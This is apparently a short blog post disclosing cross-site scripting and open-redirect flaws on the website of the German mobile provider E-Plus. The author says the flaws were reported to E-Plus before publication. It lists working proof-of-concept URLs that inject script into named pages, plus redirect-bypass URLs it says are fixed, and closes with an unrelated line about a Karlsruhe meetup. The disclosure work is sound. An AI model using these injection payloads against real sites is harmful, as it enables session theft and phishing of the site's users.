Note: This is just a short form of
a german article I posted today. E-Plus is a big german mobile telephony provider. I've found a bunch of XSS together with
Alexander Brachmann (responsible disclosure, all reported to E-Plus before, probably more to come).
For my english visitors, here are the urls:
http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort="><script>alert(1)</script>
http://www.eplus.de/frame.asp?go=http://www.eplus.de/');alert(1);document.write('
http://www.eplus.de/frame.asp?go=');alert('
Already fixed ones:
http://www.eplus.de/frame.asp?go=http://www.google.de/
http://www.eplus.de/frame.asp?go=http://www.eplus.de@www.google.de
http://www.eplus.de/frame.asp?go=http://www.eplus.dedomain.com
http://www.eplus.de/frame.asp?go=http://www.eplus.de.mydomain.com
Karlsruhe's Webmonday happened again. It was technical. It was social. It was (maybe not) secure. It was full of ideas. It was all about the people. It was also a chance for some real-life viral marketing for some Austrian pre-mixed cocktails.
Tracked: Mar 13, 22:52